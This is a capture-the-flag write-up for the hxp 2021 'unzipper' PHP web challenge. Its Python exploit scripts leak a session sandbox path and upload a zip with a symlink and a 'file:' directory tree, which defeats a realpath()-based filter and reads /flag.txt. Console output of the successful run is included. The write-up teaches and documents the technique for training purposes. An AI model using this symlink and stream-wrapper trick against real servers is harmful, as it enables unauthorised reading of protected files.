Tags: web php 

Rating:

# unzipper

**Category**: web \
**Difficulty**: medium \
**Points**: 172 points (49 solves) \
**Author**: hlt

Here, let me unzip that for you.

Download: [unzipper.tar.xz](unzipper.tar.xz)

Connection: http://65.108.176.76:8200/

## Overview

Another small challenge:

```php
Solved with Youssef

First notice that we can use the `PHPSESSID` cookie and read our `$_SESSION` data from `/var/lib/php/sessions/`. This allows us to get `$sandbox`:

```python
import requests
import os

url = "http://65.108.176.76:8200"

s = requests.Session()
res = s.get(url)
sess_id = s.cookies["PHPSESSID"]
print(f"[+] PHPSESSID = {sess_id}")

res = s.get(f"{url}/?file=/var/lib/php/sessions/sess_{sess_id}")
sandbox = res.text.split(":")[-1].split(";")[0][1:-1]
print(f"[+] sandbox = {sandbox}")
```

```
[+] PHPSESSID = t7fl8v188kg8gd0ai3c3be0qq1
[+] sandbox = 29eca32e80f80d0230f27ddcb3a90377
```

Next I tried uploading a symlink to `/flag.txt` inside a zip and reading the symlink using `http://65.108.176.76:8200/?file=/var/www/html/data/{sandbox}/{symlink}`, but that didn't work because `realpath()` simply resolved the path to `/flag.txt`, which failed the check:

```php
if (0 === preg_match('/(^$|flag)/i', realpath($_GET['file']) ?: ''))
readfile($_GET['file']);
```

At this point Youssef had to idea of using `file://`.

What if we created a zip file with this directory structure?
```
$ ls --tree file: leak.lnk
file:
└── var
└── www
└── html
└── data
└── ccf86389404367cb06bab3ba41c71c27
└── leak.lnk
leak.lnk -> /flag.txt
```

```
root@229a6d68a68b:/var/www/html/data/ccf86389404367cb06bab3ba41c71c27# psysh
Psy Shell v0.11.0 (PHP 7.4.25 _ cli) by Justin Hileman
>>> realpath('file:///var/www/html/data/ccf86389404367cb06bab3ba41c71c27/leak.lnk');
=> "/var/www/html/data/ccf86389404367cb06bab3ba41c71c27/file:/var/www/html/data/ccf86389404367cb06bab3ba41c71c27/leak.lnk"
>>> readfile('file:///var/www/html/data/ccf86389404367cb06bab3ba41c71c27/leak.lnk');
hxp{fleg}
=> 10
```

Notice that `realpath()` does the following translation
```
file:///var/www/html/data/ccf86389404367cb06bab3ba41c71c27/leak.lnk
file:/var/www/html/data/ccf86389404367cb06bab3ba41c71c27/leak.lnk
```
which it interprets as a relative file path. Notice that this `leak.lnk` is not a symlink to `/flag.txt`, but actually just an empty directory.

The actual symlink to `/flag.txt` is located in `/var/www/html/data/ccf86389404367cb06bab3ba41c71c27/leak.lnk`, which `readfile()` will read.

Props to Youssef for coming up with this solution!

```python
import requests
import os

url = "http://65.108.176.76:8200"

s = requests.Session()
res = s.get(url)
sess_id = s.cookies["PHPSESSID"]
print(f"[+] PHPSESSID = {sess_id}")

res = s.get(f"{url}/?file=/var/lib/php/sessions/sess_{sess_id}")
sandbox = res.text.split(":")[-1].split(";")[0][1:-1]
print(f"[+] sandbox = {sandbox}")

symlink = "leak.lnk"
file_url = f"file:///var/www/html/data/{sandbox}/{symlink}"

os.system("rm -rf leak.lnk go.zip file:")
os.system(f"ln -s /flag.txt leak.lnk")
os.system(f"mkdir -p {file_url}")
os.system(f"zip --symlinks -r go.zip file: {symlink}")

files = {"file": open("go.zip", "rb")}
res = s.post(f"{url}", files=files)
res = s.get(f"{url}/?file={file_url}")
print(res.text)
```

```
$ python3 solve.py
[+] PHPSESSID = 10a5nlegdvdl0o99a6e5khkedm
[+] sandbox = a8a188a8460b7a11b7bbad7f2a8562c6
adding: file:/ (stored 0%)
adding: file:/var/ (stored 0%)
adding: file:/var/www/ (stored 0%)
adding: file:/var/www/html/ (stored 0%)
adding: file:/var/www/html/data/ (stored 0%)
adding: file:/var/www/html/data/a8a188a8460b7a11b7bbad7f2a8562c6/ (stored 0%)
adding: file:/var/www/html/data/a8a188a8460b7a11b7bbad7f2a8562c6/leak.lnk/ (stored 0%)
adding: leak.lnk (stored 0%)
hxp{at_least_we_have_all_the_performance_in_the_world..._lolphp_:/}
```

## Note

The challenge set `php_admin_value[allow_url_fopen] = 0`. However, this still
lets use use PHP's various [stream
wrappers](https://www.php.net/manual/en/wrappers.php). Notice `file://` is not
restricted by `allow_url_fopen`, as indicated here:
https://www.php.net/manual/en/wrappers.file.php

You can also see this in the [source code](https://github.com/php/php-src/blob/PHP-7.4.25/main/streams/streams.c#L1865), where `plain_files_wrapper->is_url == 0`.

Original writeup (https://github.com/cscosu/ctf-writeups/tree/master/2021/hxp_ctf/unzipper).